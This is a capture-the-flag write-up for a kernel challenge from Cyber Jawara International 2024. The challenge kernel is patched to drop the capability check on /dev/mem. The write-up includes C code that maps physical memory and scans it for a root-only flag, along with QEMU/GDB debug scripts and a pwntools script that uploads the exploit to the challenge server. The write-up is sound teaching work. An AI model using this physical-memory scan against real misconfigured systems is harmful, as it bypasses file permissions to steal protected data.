# Cyber Jawara International 2024 Pwn Write Up: Backdoored Kernel
I have been participating in Cyber Jawara International 2024, an international CTF organized by SKSD as team "swusjask fans club", and we managed to achieve rank 2 out of 211 teams. I only solved 1 out of 4 pwn challenge because of skill issues, but anyway let's dive into it.
## 🩸 [PWN -- 2 solves] backdoored_kernel

### Analysis
Attachment:

As we can see from the structure, it seems to be a **kernel exploitation** challenge. Here is a brief explanation (and the content) of each files:
* `bzImage`: Compiled Linux version 6.11.5 x86 kernel image

* `run.sh`: Script to run the emulated vulnerable environment using [QEMU](https://www.qemu.org/).
```sh=
#!/bin/bash
cd $(dirname $0)
exec timeout --foreground 300 qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep,+smap \
-nographic \
-monitor /dev/null \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-no-reboot \
-append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
-net user -net nic -device e1000 \
```
* `rootfs.cpio.gz`: Compressed file system that will be booted into the [QEMU](https://www.qemu.org/) environment.
* `backdoor.patch`: Diff output file containing the difference between the compiled kernel and the original Linux kernel source code. This file tells us where the vulnerability is, where users can access `/dev/mem` without `CAP_SYS_RAWIO` capability.
```dif
--- a/linux-6.11.5/drivers/char/mem.c
+++ b/linux-6.11.5/drivers/char/mem.c
@@ -606,9 +606,6 @@
{
int rc;
- if (!capable(CAP_SYS_RAWIO))
- return -EPERM;
-
rc = security_locked_down(LOCKDOWN_DEV_MEM);
if (rc)
return rc;
```
> 💡 As seen in the patch above, users don't need to have `CAP_SYS_RAWIO` capability to access `/dev/mem`. See [the source code](https://elixir.bootlin.com/linux/v6.11.5/source/drivers/char/mem.c#L609) for more details.
* `Kconfig`: Configuration of the compiled kernel image. Specifically, below is the relevant configuration to this challenge.

> 💡 With `CONFIG_STRICT_DEVMEM=n`, userspace can access every bits and bytes of the memory using `/dev/mem` (including kernelspace and userspace). See [this](https://cateee.net/lkddb/web-lkddb/STRICT_DEVMEM.html) and the [man page](https://man7.org/linux/man-pages/man4/mem.4.html) for more details.
Let’s inspect the content of the filesystem by decompressing `rootfs.cpio.gz` with this script:
```sh=
mkdir rootfs
cd rootfs
cp ../rootfs.cpio.gz .
gunzip ./rootfs.cpio.gz
cpio -idm < ./rootfs.cpio
rm rootfs.cpio
```
We then see `init` script, that will be executed as an entrypoint when the kernel is booted successfully. Below is the content:
```sh=
#!/bin/sh
[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /etc ] || mkdir /etc
mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mount -t tmpfs tmpfs /tmp
mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
ln -sf /proc/mounts /etc/mtab
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo 1 > /proc/sys/vm/unprivileged_userfaultfd
mdev -s
chown 0:1000 /dev/console
chown 0:1000 /dev/ptmx
chown 0:1000 /dev/tty
chown 0:1000 /dev/mem
chmod 400 flag
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 0 -f
```
As seen above, the flag is only readable by root user. And our goal is to read the flag as an unprivileged user.
#### What is `/dev/mem` ? 🤔
According to [this article](https://bakhi.github.io/devmem/), `/dev/mem` is a character device file that is an image of the main memory of the computer. Basically it allows us to have direct access to physical address. To interact with it, we can do `mmap` first to map the physical address, then followed by `read` or `write` to read or write, respectively into the physical address.
### Exploitation
Note that we have found a few keypoints before:
1. Users don't need to have `CAP_SYS_RAWIO` capability to access `/dev/mem`.
2. Userspace can access every bits and bytes of the memory using `/dev/mem`.
So basically we have full access to the physical memory as an unprivileged user. My hypothesis is that the file system will also be contained in the physical memory. To validate my hypothesis, we need to do some debugging.
#### Debugging
First, we need to make a binary to interact with `/dev/mem` and loops infinitely to help us achieve a breakpoint in GDB where we can see the content of the mapped physical address.
```c=
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#define MEMORY_START 0x10000000
#define MEMORY_SIZE 0x10000000
int main() {
int fd = open("/dev/mem", O_RDONLY);
if (fd == -1) {
perror("[-] open");
close(fd);
return -1;
}
void *mem = mmap((void *)MEMORY_START, MEMORY_SIZE, PROT_READ, MAP_SHARED, fd, 0);
if (mem == MAP_FAILED) {
perror("[-] mmap");
close(fd);
return -1;
}
// infinite loop
while(1) {}
munmap(mem, MEMORY_SIZE);
close(fd);
return 0;
}
```
We then make these scripts to debug our kernel:
* dbuild.sh:
```sh=
musl-gcc -static -o exploit exploit.c
mv exploit ./rootfs/
cd rootfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > debugfs.cpio.gz
mv ./debugfs.cpio.gz ../
cd ..
pkill -9 qemu-system-x86
exec ./debug.sh
```
* debug.sh:
```sh=
#!/bin/bash
cd $(dirname $0)
exec timeout --foreground 300 qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep,+smap \
-nographic \
-monitor /dev/null \
-kernel bzImage \
-initrd debugfs.cpio.gz \
-no-reboot \
-append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
-net user -net nic -device e1000 \
-s -S
```
* gdb.sh:
```gdb=
tar rem :1234
c
```
Don't forget to extract the vmlinux using [this script](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux) to get the kernel's actual ELF file.
Then we open two terminals. In the first terminal execute `dbuild.sh` and in the other terminal, execute `gdb vmlinux -x gdb.sh` to debug our kernel. We then execute our binary to trigger the physical address mapping, and breaking in our GDB. We then search the memory for the content of files in the file system by using GEF's `search-pattern`.

And, voila! File system's content is available in the physical memory. Also notice that the beginning of each file is mapped at the beginning of a page (ending with 0x000), so we can just read through every page, and check if it contains `CJ{`.
#### Exploit Code
Below is the exploit code to read every pages:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#define MEMORY_START 0x10000000
#define MEMORY_SIZE 0x10000000
int main() {
int fd = open("/dev/mem", O_RDONLY);
if (fd == -1) {
perror("[-] open");
close(fd);
return -1;
}
void *mem = mmap((void *)MEMORY_START, MEMORY_SIZE, PROT_READ, MAP_SHARED, fd, 0);
if (mem == MAP_FAILED) {
perror("[-] mmap");
close(fd);
return -1;
}
for (int i = 0; i < MEMORY_SIZE; i += 0x1000) {
if (strstr(mem + i, "CJ{") != NULL) {
printf("[+] Found flag at %p: %s\n", mem + i, mem + i);
break;
}
}
munmap(mem, MEMORY_SIZE);
close(fd);
return 0;
}
```
Send the exploit to the remote instance using this python script:
```python=
from pwn import *
io = remote("152.42.183.87", 10022)
log.info("Compiling...")
os.system("musl-gcc exploit.c -static -o exploit")
log.info("Compressing...")
os.system("gzip -c exploit > exploit.gz")
log.info("Base64-ing...")
os.system("base64 exploit.gz > b64egz")
io.recvuntil(b"work: ")
pow_cmd = io.recvline().strip().decode()
log.info(f"PoW: {pow_cmd}")
log.info("Solving PoW...")
sol = subprocess.check_output(pow_cmd, shell=True).strip()
io.sendline(sol)
log.info("Changing directory...")
io.sendlineafter(b"$ ", f"cd /tmp".encode())
log.info("Sending exploit...")
f = open("b64egz", "r")
lines = f.read().splitlines()
with log.progress("Lines sent") as prog:
for i, line in enumerate(lines):
prog.status(f"{i}/{len(lines)}")
io.sendlineafter(b"$ ", f"echo '{line}' >> b64egz".encode())
prog.success(f"{len(lines)}/{len(lines)}")
io.sendlineafter(b"$ ", b"base64 -d b64egz > exploit.gz")
io.sendlineafter(b"$ ", b"gzip -d exploit.gz")
io.sendlineafter(b"$ ", b"chmod +x exploit")
io.newline = b"\r\n" # A wacky fix to pwntools CRLF issue
io.sendlineafter(b"$ ", b"./exploit")
os.unlink("b64egz")
os.unlink("exploit")
os.unlink("exploit.gz")
io.interactive()
```
And we got the flag.

### Flag
```
CJ{8572170a6ebad8e9d9602f7025dbf8cd8f6852c919cad763194c387e2ca2026d}
```